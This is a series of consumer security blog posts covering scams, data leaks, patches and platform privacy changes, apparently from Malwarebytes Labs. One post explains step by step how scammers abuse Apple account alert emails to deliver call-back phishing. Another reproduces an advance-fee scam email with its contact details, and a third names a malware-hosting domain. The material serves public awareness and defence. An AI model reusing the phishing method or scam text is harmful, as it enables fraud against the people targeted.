Half a million Britons signed up to help cure cancer. Their data ended up for sale on Alibaba.

The UK Biobank charity informed the British government of an incident concerning the medical data belonging to 500,000 British citizens being offered for sale on the Chinese e-commerce website Alibaba.

The National Data Guardian, Dr Nicola Byrne, said in a statement:

“People who generously share their health data to benefit others through medical research rightly expect it to be kept safe and for there to be accountability when things go wrong.”

Officials said the researchers downloaded the data under a legitimate contract, but its appearance on Alibaba shows how “approved” access can still turn into public exposure.

UK Biobank holds more than 15 million biological samples and detailed health records from volunteers recruited between 2006 and 2010, and researchers worldwide use it to study cancer, dementia, diabetes, and other chronic diseases.

UK Biobank normally signs contracts with vetted universities and private companies before it lets them access the data, but investigators traced the Alibaba listings to three research institutions. UK Biobank revoked their access and paused new data access while it strengthens security controls.

At least one listing reportedly contained data on all 500,000 volunteers, and Alibaba and Chinese authorities removed the adverts before anyone could confirm a sale.

The dataset comes from UK Biobank’s long‑running research cohort and includes genetic sequences, blood samples, medical imaging, and detailed lifestyle information used for global health research.

UK Biobank emphasizes that the data was “de‑identified,” meaning it didn’t include names, addresses, or NHS numbers. But it still contained granular demographics, such as gender, age, birth month/year, socioeconomic indicators, lifestyle details, and health measures. We have repeatedly seen that such data can be re‑linked to individuals by cross‑referencing with other public or commercial records.

Why China cares

US intelligence, policy reports, and academic work paint a consistent picture: China treats large, diverse human genomic and health datasets as a strategic resource for both economic and security reasons.

The US National Counterintelligence and Security Center (NCSC) explicitly states that the People’s Republic of China views bulk healthcare and genomic data as a “strategic commodity” to drive its biotech, AI, and precision medicine industries, and has invested billions in national genomics and precision‑medicine initiatives.

Large datasets from non‑Chinese populations are particularly valuable for building AI models and improving the global commercial competitiveness of Chinese pharma and biotech.

From an attacker’s or foreign intelligence perspective, UK Biobank is a “crown jewel” asset: It’s curated, high‑quality, population‑scale, and much more useful than random breach dumps. And because genetic data is immutable (unlike a password, it cannot be replaced), any compromise has very long‑term intelligence usefulness.

Last year, the Guardian reported that one in five successful UK Biobank access applications came from Chinese entities, including BGI, China’s flagship genomics company that was later placed on the US Entity List over concerns about its role in surveillance of minority populations.

China is not just stockpiling DNA for curiosity’s sake. It is building a global genomic map that covers adversaries as well as its own citizens.

Your genome data

There have been major concerns about genetic data ending up in the wrong hands, and for good reason. But I’m not going to say that volunteering your medical data for research is bad. Researchers often put the data to good use to help others.

But there are some good questions to ask before doing so.

• Who runs the project and where is it based?
  Prefer non‑profit or academic biobanks with clear public‑interest mandates and strong oversight, rather than opaque commercial data brokers.
• How do they store the collected data?
  Ask specifically about genomic data, raw sequencing files, links to medical records, and whether data is encrypted at rest and in transit.
• Who can access the data and under what controls?
  Look for a formal access committee, strict contracts, and technical controls like secure analysis environments and limited export options, not “download CSV and walk away” models like the one that enabled the UK Biobank incident.
• Are foreign entities allowed to access or copy the data?
  In light of US and UK government warnings about Chinese access to Western genomic data, it’s reasonable to ask whether data can be accessed, processed, or stored in jurisdictions with different security expectations.
• How do they handle re‑identification risk?
  As we’ve discussed, “de‑identified” is not a magic word. Privacy experts and US intelligence have warned that health and genomic data can often be re‑identified when combined with other datasets.

If data containing your DNA is in someone else’s hands, you can’t put it back, but you can demand better governance, push institutions to treat genomic data as national‑security‑grade sensitive.

It also requires more skepticism of highly targeted scams. Attackers can use large combined datasets to craft convincing spear‑phishing or health‑related scams, for example, contacting you about a specific condition you or a family member has. Treat unsolicited health or DNA‑related emails, calls, and apps with extra suspicion.

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Apple has released a software update that deals with an issue that could allow deleted notifications to be retrieved. Something that, in at least one reported case, was used by law enforcement during forensic analysis.

Apple fixed the issue in iOS and iPadOS versions 18.7.8 and 26.4.2 (check availability for your device at those links). The update deals with a singular security vulnerability, tracked as CVE-2026-28950.

Although the description is brief—“a logging issue was addressed with improved data redaction”—the impact points us in the right direction.

“Notifications marked for deletion could be unexpectedly retained on the device.”

This suggests that Apple’s bug was that iOS kept copies of notification content in an internal database for longer than intended, even after the messages “disappeared” or the app was uninstalled. In a case reported by 404 Media, law enforcement was able to recover those notifications using standard forensic tools once they had access to the unlocked device. The example in that reported case involved Signal.

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A response on X by Signal states:

“The FBI was able to forensically extract copies of incoming Signal messages from a defendant’s iPhone, even after the app was deleted, because copies of the content were saved in the device’s push notification database.”

Before we go into the update process, you may want to know that you can mute or hide notifications in Signal, which also protects them from prying eyes. In Signal, open your Settings and tap on Notifications. You can adjust several settings there. For example, I have mine set so I only see the name of the sender.

Install the update

For iOS and iPadOS users, you can check if you’re using the latest software version by going to Settings > General > Software Update. It’s also worth turning on Automatic Updates if you haven’t already. You can do that on the same screen.

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Roblox has long faced criticism over child safety on its platform. Now it has started settling with state attorneys over the issue, and the total is climbing fast.

On April 21, Alabama Attorney General Steve Marshall announced a $12.2 million settlement with the child-focused online gaming platform. The State of West Virginia also settled for $11 million the same day. Those came a week after Nevada Attorney General Aaron Ford got the company to hand over $12 million.

Their problem with Roblox is clear from the settlement documents: they believe it hasn’t been adequately protecting children from predators on its platform.

What Roblox has to change

As part of Alabama’s settlement, Roblox must now run age checks on everyone via facial age estimation or a government ID starting May 1. That applies to both new and existing accounts. The company must now also monitor account behavior to catch users who lied about their age.

Adults and under-16s won’t be able to talk with each other at all unless they’re on a “trusted friend” list, added via QR code or a phone-contact import, and users that don’t undergo age verification can’t chat to anyone. 

Communication involving any minor cannot be encrypted, so law enforcement can read it during investigations. West Virginia’s settlement also insists that Roblox alert minors the first time they enter a private chat, so children understand how to communicate safely.

Roblox already stopped people from chatting without age verification as of January this year, but under new measures it will start restricting access to games for those that don’t undergo the process. Starting in June, the platform will split into three tiers: Roblox Kids for ages 5–8 will forbid any chats at all, and will only allow access to games labeled ‘minimal’ or ‘mild’ on its maturity scale. Those who don’t complete age verification will also have these restrictions. The other two account levels are Roblox Select for 9–15 year-olds, and standard accounts for those 16 and up.

Plenty more lawsuits to come

Three settlements in eight days totaling more than $35 million must hurt, but it’s just the beginning. Texas, Florida, Louisiana, Iowa, Nebraska, Kentucky, and Tennessee are all pursuing similar claims: that Roblox exposed children to risk and then misled parents about its safeguards.

In February, LA County sued Roblox, accusing the platform of choosing profit over safety and leaving kids exposed to grooming and explicit content.

Roblox is also separately dealing with nearly 80 federal lawsuits filed by families in California alone. And Australia’s eSafety Commissioner has also issued legally-enforceable transparency notices to Roblox and other tech companies. These force them to detail what they’re doing to protect children. Those notices are backed by fines of A$825,000 a day (that’s about US$590,783) for non-compliance.

Where the money will go

The $12.2 million from Alabama’s settlement funds school resource officers through the state’s Safe School Initiative. Nevada’s is earmarked for the Boys & Girls Club and “nondigital activities,” plus a law-enforcement liaison and an online-safety awareness campaign. West Virginia will invest $500,000 in safety education workshops for parents and children, create a $1.5 million three-year public safety campaign, and spend $2.4 million on a dedicated internet safety specialist for six years.

Stay alert

There’s a predictable rhythm to how big tech companies face down state attorneys general. First comes pushback, then rhetoric about shared values, and then they start handing over cash.

It is a step forward that Roblox is agreeing to new safeguards, but questions remain.

In its own lawsuit against Roblox launched last month, Nebraska complained that the company’s existing age-check technology was inadequate. From the complaint:

“Rather than meaningfully protecting children, the system has repeatedly misclassified users’ ages, placing adults in child chat groups and minors in adult categories, while age-verified accounts for young children have already been traded on third-party marketplaces, undermining any purported safety benefits.”

What happens when the age-estimation AI guesses wrong on a 14-year-old who looks 17, or when a “trusted friend” QR code gets passed around a group chat somewhere it shouldn’t?

The company’s Persona age-check tool has also turned out to do more than check ages: researchers say they found an exposed frontend showing the system was also running facial recognition against watchlists.

Settlements address past concerns, but they don’t guarantee future safety. Parents must still do the work to ensure that they know what their kids are signing up for and who else they might be playing with.

For more information about the safety of Roblox and other services, check out our research: How Safe are Kids Using Social Media?

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Security researcher Alexander Hanff wrote an article titled Anthropic secretly installs spyware when you install Claude Desktop.

Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.

Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.

Let’s look at the claims first.

While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension. 

By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.

The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users  permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.

Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.

It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.

So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent. 

Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.

How bad is it?

Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.

I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.

Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.

It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.

What we don’t know yet

Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).

The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.

I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.

Conclusion

Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.

There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.

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Scammers have found a way to abuse legitimate Apple account notification emails to trick targets into calling fake tech support numbers.

According to a report from BleepingComputer, scammers create an Apple account and insert a phishing message into the personal information fields, then modify the account so that Apple sends a genuine security alert about the change to the target.

BleepingComputer was able to replicate the attack.

The attacker creates an Apple ID they control, then stuffs the phishing message into the personal information fields (first name, last name, possibly address), splitting it across fields because they will not fit into just one.

To launch the phish, the attacker changes something benign on their specially created Apple account, such as shipping information, which causes Apple’s systems to send a “Your Apple account was updated” security email.

While the original alert is addressed to the attacker’s iCloud email, they are then able to redistribute it to a wider victim list, for example through a mailing list.

In the copy the targets receive, the email headers still show a legitimate Apple sender, and the presence of the attacker’s iCloud address can even make it look like “someone else” has gained access to the account.

Because Apple includes those user-supplied fields in the security email, the phishing text is delivered inside a legitimate message sent from Apple’s own infrastructure.

This method, called call-back phishing, filters out suspicious users, so the scammers can focus on the people who fell for the first part.

The emails come from a legitimate source, sail through every security filter because of that, and look convincing enough to scare the receiver into thinking someone spent $899 from their PayPal account.

But the structure of the email does not make sense.

“Dear User” is immediately followed by the scam message where your name should have been. The header says it’s about account information rather than a purchase. And the iCloud account does not belong to the recipient. So, once you know how it’s done, they’re not impossible to spot. Which is why we wrote this blog.

And when in doubt, you can always ask Malwarebytes Scam Guard.

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Scam Guard identified the screenshot as a scam and guides users through the next steps.

Scams like these work, because many users still view phone calls as more trustworthy than email, especially if the email itself passed all the usual technical authenticity checks and they initiated the call themselves.

How to stay safe

Tech support scammers will try to convince callers to install some kind of remote desktop application to steal data from your computer, or ask for financial details so they can steal your money.

To stay safe from these scammers:

• Be wary of unexpected alerts about high‑value purchases you do not recognize. They are suspicious even if they come from a real domain.
• Never call a number sent to you by unsolicited means or even found in sponsored search results.
• Carefully read emails and text messages, even if they come form trustworthy addresses. Does the email make sense from a structural and linguistic point of view?
• If someone claiming to be support for a legitimate company asks for remote access or payment details during a call, hang up and contact the company through official channels.
• Use Malwarebytes Scam Guard to analyze any kind of message that alarms you or urges you to take immediate action.

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Some of the apps on your phone want your contacts. Most don’t need them all, but have been happily slurping up the lot for years. Google has decided to do something about that with the next version of Android.

Android 17 (currently in preview) is introducing a new Contact Picker that lets users grant apps access to specific contacts rather than the entire list.

Previously, any app that needed a single phone number had to request READ_CONTACTS. That’s a permission that handed over every name, email, and number. It’s the digital equivalent of handing someone your entire Rolodex because they asked for one business card.

An app that can harvest your entire contact list can map your social network, identify your family members, and potentially hand that data to whoever’s buying. So whenever you click “yes” to “show us all your contacts” it isn’t just your privacy you’re playing with.

From Android 17 onward, apps will need to be more specific about what contact data they access. Phone number? Fine. Email address? Sure. Your cousin’s mailing address? Not unless the app has a reason.

Google’s updated Play policy will require apps to use the Contact Picker or the Android Sharesheet as the main way to access contacts. READ_CONTACTS will be reserved for apps that genuinely can’t function without it. 

Location sharing gets the privacy treatment

Location permissions are also set to become more granular and privacy-friendly in Android 17.

Previously, apps could ask for your precise or general location, and you could allow it just once, any time you’re using the app, or not at all. The new button adds nuance by letting app developers ask for your location in the moment, tied to a specific action, like finding a local cafe.

There will also be a persistent indicator to let you know when an app is using your location, similar to the alerts for camera or microphone access. And you’ll be able to find out which apps are tracking you as well.

Google blocked 8.3 billion bad ads in 2025

The tighter permissions management in Android 17 is a big deal for privacy advocates, because overly broad access is how data brokers build detailed profiles about you.

Those profiles can then be used for aggressive or invasive advertising, including scams.

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Google timed these privacy announcements alongside its latest Ad Safety report, which says it blocked 8.3 billion policy-violating ads and suspended 24.9 million advertiser accounts in the last year. 

The 8.3 billion figure is up from 2024, when Google blocked 5.1 billion ads. The increase suggests that the problem is getting worse, or that Google is getting better at catching it. Scam ads are a big part of that. In 2024, Google blocked 415 million scam-related ads. In 2025, that number grew to 602 million. 

Lest we forget

We’ll give Google credit for trying to tackle this problem from both ends—limiting data collection and cracking down on the kinds of ads that use that data maliciously. But there’s still a sense that it’s not doing quite enough.

Yes, the Android 17 permission changes are good for users, but granular contact access should have been the default years ago. Apple has been doing it for 18 months in iOS 18, and even that was years too late, in our opinion.

And while Google says it caught over 99% of violations before users ever saw them, 1% of an insanely large number is still insanely large.

The ads that still get through are damaging. In December, we reported on sponsored search results pointing to malicious AI chats that instructed people to install infostealer malware. Why does Google run ads that look like search results? Because its business model is driven by advertising revenue. At least it’s making it easier to hide them now.

So we’ll give a cautious hand clap to Google. It’s moving in the right direction. But stories about how it knowingly giving kids’ data inappropriately to advertisers or misusing health data still give us pause.

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Anthropic’s most capable model to date, Claude Mythos Preview  (aka Mythos), has been described as a “step change” in AI performance, especially on cybersecurity tasks.

Anthropic tried to keep Mythos a secret until a few weeks ago, when a data leak revealed the existence of what the company said was its most powerful artificial intelligence to date. The models is seen as both a powerful defensive tool, and, potentially, a serious offensive cyberweapon.

For that reason, the company is sharply limiting access and signaling it does not plan to release it broadly to the market right now. Its reported ability to autonomously find and even chain software vulnerabilities at scale sit at the core of both the hype and the danger.

Imagine a tool that can independently find new vulnerabilities in software, systems, and platforms, then turn them into exploits, even if that requires chaining them with other vulnerabilities.

In the wrong hands, that could be a major threat to our cyber safety. So Anthropic has limited access to a small number of organizations worldwide, including major tech firms and a select group of government or security bodies. The NSA is reportedly already using Mythos Preview, apparently to stress‑test and harden sensitive systems, despite the Pentagon labelling Anthropic as a supply chain risk.

Mythos can discover vulnerabilities across large codebases more quickly and reliably than existing tools, and can look for multiple flaws in one system and combine them into multi‑step exploit chains to complete a compromise (for example, going from a simple web bug to a full domain takeover). It would take a bug bounty hunter months to find another vulnerability, let alone one chainable with the one(s) already discovered. Accomplishing that before the first one would be highly unlikely.

In practical terms, that could mean faster attacks, more complex breaches, and less time for companies to fix weaknesses before they’re exploited.

Anthropic itself has highlighted that Mythos can work with minimal supervision for extended periods, meaning it could run systematic attack campaigns at a scale no human team could accomplish.

Anthropic flagged these security risks in an internal document:

• AI lowers the skill floor for offensive operations. Less-skilled actors could get access to very effective tools, significantly increasing the number of advanced attacks.
• Techniques like fuzzing, dictionary attacks, and other brute force methods become much more effective when sped up by automation. AI-assisted iteration can provide an attacker with a lot more tries before an attack gets noticed.

But the most concerning conclusion was that the offensive side is iterating faster in the current phase of AI development, and security teams are generally later adopters of AI tooling than their adversaries.

As we know, AI in cybersecurity works both ways. It helps us defend against new threats, but it can also be used to create them. Which is why, in the wrong hands, Mythos can turn out to be a formidable adversary.

The goal stays the same, but the way to get there is paved by tools like Mythos. From the attacker’s seat, nothing about the destination is new. The novelty is that Mythos now automates the map, the vehicle, and most of the driving.

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Last week on Malwarebytes Labs:

• This old-school scam is still working
• “Your shipment has arrived” email hides remote access software
• Browser Guard gets even better with Access Control
• “iCloud storage is full” scam is back, and now it wants your payment details
• A fake Slack download is giving attackers a hidden desktop on your machine
• Booking.com breach gives scammers what they need to target guests
• AI clickbait can turn your notifications into a scam feed
• Fake YouTube copyright notices can steal your Google login
• From fake Proton VPN sites to gaming mods, this Windows infostealer is everywhere
• April Patch Tuesday fixes two zero-days, including one under active attack
• Credit Resources Vault: Why this credit email set off our scam alarms
• Omnistealer uses the blockchain to steal everything it can
• ChatGPT under scrutiny as Florida investigates campus shooting
• Simply opening a PDF could trigger this Adobe Reader zero-day

Stay safe!

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Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

When we read about this new malware tactic, or that novel social engineering approach, it’s easy to forget that there are scammers out there making a living from ancient methods.

Recently, one of our researchers received this variation on the good old Nigerian advance-fee scam.

From: Mrs.Inga-Britt Ahlenius.
Internal Audit, Monitoring, Consulting and Investigations Division
UNITED NATIONS SCAM VICTIMS COMPENSATIONS PAYMENTS.

Attn; Dear Scam victim/Beneficiary;

United Nations have Approved to pay 150 scam victims $5,000,000.00 (FIVE MILLION UNITED STATE DOLLAR) each.

You are listed as one of the scammed victims to be paid this amount, get back to me as soon as possible for the immediate payments of your $5,000,000.00 compensation funds.

You can contact the paying bank United Bank For Africa (UBA) on the below information

Name: Dr. Kingsley Obiora
Email: kingsleyobiora@gmail.com
Whatsapp Number, +234 913 998 1014 Sincerely yours,
Mrs.Inga-Britt Ahlenius

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The scammers got a few details right. Anyone looking up the names in the email will find that they exist and are associated with the mentioned organizations.

Inga–Britt Monica Stigsdotter Ahlenius is a Swedish auditor, public servant and former Under-Secretary-General for the United Nations.

The name “Inga‑Britt Ahlenius” has been reused across many such 419‑style advance‑fee scams, sometimes claiming she is a UN fund monitoring agent or under‑secretary general distributing tens of millions in “compensation” or “unclaimed funds.”

Kingsley Obiora is a Nigerian economist who served as the Deputy Governor of Economic Policy at the Central Bank of Nigeria from 2020 to 2023. Which lends a degree of credibility to the Nigerian country code (+234) in the number they want us to contact by WhatsApp.

So, we decided to put our “friend” Tess to work once again. Loyal readers will remember how Tess almost fell for a task scammer. So maybe she’s eligible for that five-million-dollar compensation.

They came right to the point. We’d have to pay a courier fee to get our $5 million dollar ATM card. And I’m pretty sure that if we agreed to pay that, additional costs would swiftly follow. Once you’ve invested a bit of money, you’re likely to keep going since you don’t want to lose what you’ve already paid.

So, I offered to pick up the ATM card in person. Always wanted to see Nigeria.

For a while I thought they saw through my bluff. Maybe I shouldn’t have disclosed just yet that I work for Malwarebytes. But it quickly became clear they trusted me about as much as I trusted them.

I’ll play along as long as I can, but after giving me the physical address of the UBA bank in Lagos, Nigeria, they started to make it more difficult to pick up the ATM card in person.

A week is not a long time to arrange a trip to Nigeria, so I tried to get an idea of how much the “courier” would set me back before they gave up on me.

I didn’t expect it to be that much, to be honest. Maybe they thought they could raise the price since I contemplated to pick it up in person. Or they just wanted to get rid of me. You’d expect them to charge maybe €75 for the courier and then come up with €200 for stamp duty and €600 for insurance later on.

Consequences are real

It’s easy to laugh at talk of five‑million‑dollar ATM cards, but campaigns like this still make money. Behind every “Dear Scam victim/Beneficiary” is someone who is lonely, in debt, or simply overwhelmed by official‑sounding language. Once they’ve paid the first “courier fee,” the sunk‑cost effect kicks in, and it becomes harder and harder to walk away.

This is especially true for people who have already been victims of scams, who are clearly the target here.

How to stay safe

Tess’ efforts have helped us highlight the red flags in this type of scam:

• Receiving news of a huge payout out of the blue should definitely trigger the “too good to be true” alarm bells.
• For important communications, free webmail and WhatsApp are rarely the official contact channels.
• Scammers apply pressure to act quickly and ask you to pay a fee before you receive anything.
• They often use vague job titles and ask you to keep things quiet.
• Odd language and capitalization can be a clue, although AI is making these less common.

Any one of these signs is a reason to stop and delete the email. Together, they spell out a classic advance‑fee scam.

For Tess this was a safe experiment: no money lost, just a few evenings spent sparring with a “UN compensation officer” on WhatsApp. For the people these criminals really want to reach, the stakes are much higher.

If you, or someone you care about, ever receives a message promising life‑changing money in exchange for a small courier fee or processing charge, treat it as a warning sign, not a windfall.

Close the tab, delete the message, and, if in doubt, ask a trusted friend or advisor before you act.

The easiest way to recognize a golden‑oldie scam is still the simplest: if it sounds too good to be true, it probably isn’t true.

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Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

An attachment in an email impersonating DHL about a shipment contains a link to a preconfigured SimpleHelp remote access tool—an ideal starting point for attackers to explore a network, steal data, and drop additional malware.

A German industrial spare parts and equipment supplier received an email pretending to be from DHL, claiming a shipment had arrived.

Given their line of business, I imagine they get this type of email all the time. But a few details stood out:

• The sender’s email address did not belong to DHL,
• the receiver address was the general info@ for the company,
• the images in the email were hosted on ecp.yusercontent.com,  
• and, most importantly, there was attachment.

While the remote content is hosted on a legitimate Yahoo webpage commonly used to serve images and other content in Yahoo Mail, this is not something DHL typically uses.

The attachment, a PDF file called AWB-Doc0921.pdf is just a blurred image with a Microsoft-branded button that prompts the victim to “Continue” to access a secure file.

In reality, clicking the button downloads a file called AWB-Doc0921.scr from the domain longhungphatlogistics[.]vn, a domain belonging to a Vietnamese logistics company that was likely compromised to host malware.

A .scr file is a Windows file, which is an executable (.exe) file used to launch screensavers. They are often used to hide malicious code because Windows trusts them, allowing them to bypass some security layers. 

In this case, the file is a modified installer of a remote access tool signed by SimpleHelp.

SimpleHelp is a remote support and remote monitoring and management (RMM) platform. It allows remote desktop control, file transfer, diagnostics, and unattended access. In the wrong hands, that’s effectively a support-style backdoor. Attackers can use it for reconnaissance, credential theft, lateral movement, defense evasion, and staging further malware, including ransomware. We’ve seen SimpleHelp abused in this way before.

This is basically a beaconing model. Once installed, the system connects out to the attacker’s server, which is more likely to be allowed through NAT and firewalls than inbound connections. Because the user initiated the install, the attacker gets immediate visibility of the system and can reconnect later whenever the service is running. In the case of a phish, that means the lure only has to get the victim to execute the file once. After that, the attacker’s console can show the new machine as a manageable asset.

For what seems to be a non-targeted attack, the campaign shows a decent level of sophistication by using legitimate components to trick targets into running the remote access tool.

How to stay safe

The good news: once you know what to look for, these attacks are much easier to spot and block. The bad news: they’re cheap, scalable, and will continue to circulate.

So, the next time a “PDF” prompts you to download a file, pause to think about what might be hiding under the hood.

Beyond avoiding unsolicited attachments, here are a few ways to stay safe:

• Only access your accounts through official apps or by typing the official website directly into your browser.
• Check file extensions carefully. Even if a file installs a legitimate tool, it may not be safe to run it.
• Enable multi-factor authentication for your critical accounts.
• Use an up-to-date, real-time anti-malware solution with a web protection module.

Pro tip: Malwarebytes Scam Guard recognized this email as a scam.

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Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

A few months ago, we reported on a fake cloud storage alert that triggered a redirect chain to an app that has since been delisted from the Apple Store.

The threat of losing your photos is a powerful lure, so scammers are now using it to steal personal and financial details.

The Guardian warns about an iCloud-themed campaign that start with a few “your iCloud storage is full’ messages, then escalates to threats. If you don’t respond or take action, the emails claim your data will be wiped on a specific date.

US Consumer Affairs has urged users not to click any links and to contact Apple directly if they receive such messages.

The deadline in the emails is never far away, usually just two days. No scammer ever wants you to think things through before you act, so there is always time pressure.

We’ve seen these emails in English and Spanish. Oddly, the monthly rate is set at 99 pence or 99 euro cents respectively.

The 0.99 seems to be the magic number. In reality, scammers don’t care about the payment. What they want is for you fill out the form on their phishing site.

The screenshot above is just one of many examples. There are plenty of variations, but they all follow the same them: make a small payment to stop the files in your iCloud storage from being deleted.

The websites these emails link to also vary, but they all ask for personal and payment details to complete that payment.

How to stay safe

It’s worth remembering that Apple does notify users when their iCloud storage is nearing capacity, but those alerts appear within your device settings or as official system notifications. They don’t come through unsolicited text messages or emails with external links. If you need to check your storage, go directly to Settings on your device and review your iCloud usage.

So, to stay safe:

• Always access your account through our official website.
• Never share your password with anyone.
• Never click on links in unsolicited emails without verifying with a trusted source.
• Use an up-to-date, real-time anti-malware solution with a web protection component.
• Do not engage with websites that attract visitors like this.

Pro tip: Malwarebytes Scam Guard would have helped you identify this email as a scam and provided advice on how to proceed.

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Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

Pushpaganda is the name researchers have given to an AI-assisted ad fraud, social engineering, and scareware operation targeting mobile users.

For most people, Pushpaganda starts as something that looks completely normal. For example, a recommended article in your Google Discover feed (the personalized news stream on your phone) or one of the suggested stories you see when you open a new Chrome tab. The operators behind this campaign use AI‑generated articles and images, plus aggressive SEO or paid placement, to get their content surfaced in those feeds so it feels like any other story about money, tech, or politics.

The topics are classic clickbait. You might see a card about a new tax refund, a government payout, a bank deposit, or some too‑good‑to‑be‑true gadget like a $100 phone with a “300MP camera.” On a small mobile screen, with a matching thumbnail and a headline tailored to your region, that’s exactly the kind of thing many people would reasonably tap.

Having tapped, you land on an attacker-controlled site that looks like a regular article page but wastes no time throwing up a browser prompt asking to send you notifications. Many users have been trained by years of pop-ups to click “Allow” just to get it out of the way, especially if the page claims you need to click “Allow” to continue reading or see the offer.

Unfortunately, with that single tap, the site now has permission to push messages straight to your Android or desktop, where they sit alongside emails, chats, and real alerts from banks or government apps. Because the notifications don’t behave like traditional pop‑ups and can bypass normal ad‑blocking, many people don’t realize they’ve effectively subscribed to a scam channel.

The result is a stream of alarming notifications that seem to come out of nowhere and have little to do with the original site you visited, so the link between the site and the notifications is usually lost on the victims. Clicking those notifications rarely leads to what they promise. Instead, you’re pushed to another domain in the same network, which may ask for even more permissions, personal data, or try to funnel you into financial scams. Over time, this can expose you to fake investment schemes, fraudulent “tech support” numbers, or pages pushing questionable subscriptions.

All of this costs you time and attention, and sometimes money. At best, you end up with a polluted notification tray full of fake alerts that make it harder to spot something genuinely important. At worst, you follow one scare message too far, hand over personal details or payment information, and become the victim of fraud, identity theft, or aggressive subscription traps. And even if you never click again, your browser is still quietly loading pages and ads you never asked for.

How to stay safe from Pushpaganda

Treat “Allow notifications” prompts as potential traps, especially on sites you’ve never heard of that you reached via a feed or a search result. And even more so if they come with additional, misleading, instructions.

Besides that you should:

• Be skeptical of sensational cards in your Discover feed that promise sudden cash, miracle devices, or dramatic political revelations.
• Don’t trust buttons that scream “Apply now,” “Claim now,” or “Join WhatsApp” on pages that already feel pushy or poorly written.
• Keep your browser, operating system (OS), and other important software up to date.
• Use a security app that can block malicious websites and scam pages before they load.

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Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

In a Public Service Announcement (PSA) the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) warn the public about ongoing Russian-linked phishing campaigns that aim to gain access to messaging accounts.

Earlier this month we wrote about a large‑scale phishing campaign aimed at hijacking Signal and WhatsApp accounts belonging to senior officials, military personnel, civil servants, and journalists.

Now the FBI and CISA have joined European intelligence services in warning that the same tactics are being used in a broader campaign targeting these commercial messaging apps. The goal is not to break end‑to‑end encryption, but to walk straight around it by stealing access to individual accounts.

In our previous article, we focused on warnings from the Dutch intelligence services AIVD and MIVD, which described how Russian state‑backed actors approached high‑value targets via Signal and WhatsApp, posing as “Signal Support”, “Signal Security Bot”, or similar. The PSA demonstrates how the same groups are now running global phishing campaigns against messaging app accounts, with evidence suggesting thousands of compromised accounts worldwide.

It’s important to reiterate that the attackers have not managed to break the apps’ end-to-end encryption. Instead, they are relying on social engineering to get a device added so they can eavesdrop on accounts.

The current targets include current and former US government officials, military staff, political figures, and journalists, but there is nothing to stop the same techniques being reused against businesses and everyday users.

